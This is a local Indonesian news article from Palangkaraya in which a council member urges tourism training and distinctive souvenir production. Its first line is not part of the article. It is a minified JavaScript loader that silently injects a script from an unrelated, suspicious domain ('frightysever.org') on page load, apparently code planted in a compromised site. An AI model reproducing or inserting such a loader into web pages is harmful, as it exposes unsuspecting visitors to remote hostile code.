(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Memunculkan Produk Pariwisata Lokal, Nenie: Harus Ada Cendermata Khas Kota Cantik

KANALKALIMANTAN.COM, PALANGKARAYA – Ketua Komisi B DPRD Palangkaraya, Nenie A Lambung mendorong peningkatan kapasitas masyarakat, baik secara kualitas maupun kuantitas terhadap sumberdaya manusia (SDM) di bidang kepariwisataan.

Oleh karena itu, berbagai pelatihan dan pendampingan dalam konteks tersebut harus lebih gencar lagi diberikan oleh pemangku kepentingan di lingkungan pemerintah daerah.

“SDM di bidang pariwisata ini akan berimplikasi pada peningkatan ekonomi penggerak pariwisata itu sendiri,” ungkap Nenie.

Politisi Fraksi Partai PDI Perjuangan itu juga mendorong Pemko Palangkaraya melalui instansi terkaitnya harus melakukan peningkatan SDM pariwisata lokal melalui berbagai pelatihan.

Ia mencontohkan pelatihan yang bisa dilakukan antara lain pelatihan pemanfaatan limbah yang memiliki nilai jual. Sehingga menambah pendapatan masyarakat lokal sekitar obyek wisata, atau berbagai pelatihan membuat souvernir dengan sasaran warga di sekitar obyek wisata.

“Ini bagus menunjang ekonomi warga lokal yang ada di tempat wisata. Bisa dari limbah plastik air mineral yang disulap menjadi kerajinan tangan, dan tak lupa tetap sematkan kekhasan kota Cantik ini,” ujarnya.

Nenie melihat, sebagaimana obyek wisata di daerah lainnya maka ketika wisatawan datang berkunjung kebanyakan yang dicari adalah cenderamata untuk oleh-oleh atau kenang-kenangan dari tempat wisata.

Tentunya, pelatihan keterampilan bagi UMKM untuk membuat souvenir atau cenderamata ini sangat penting. Selain untuk pengembangan ekonomi warga sekitar wisata, disisi lain juga bisa membuka lapangan kerja. (kanalkalimantan.com/tri)

Reporter : tri
Editor : kk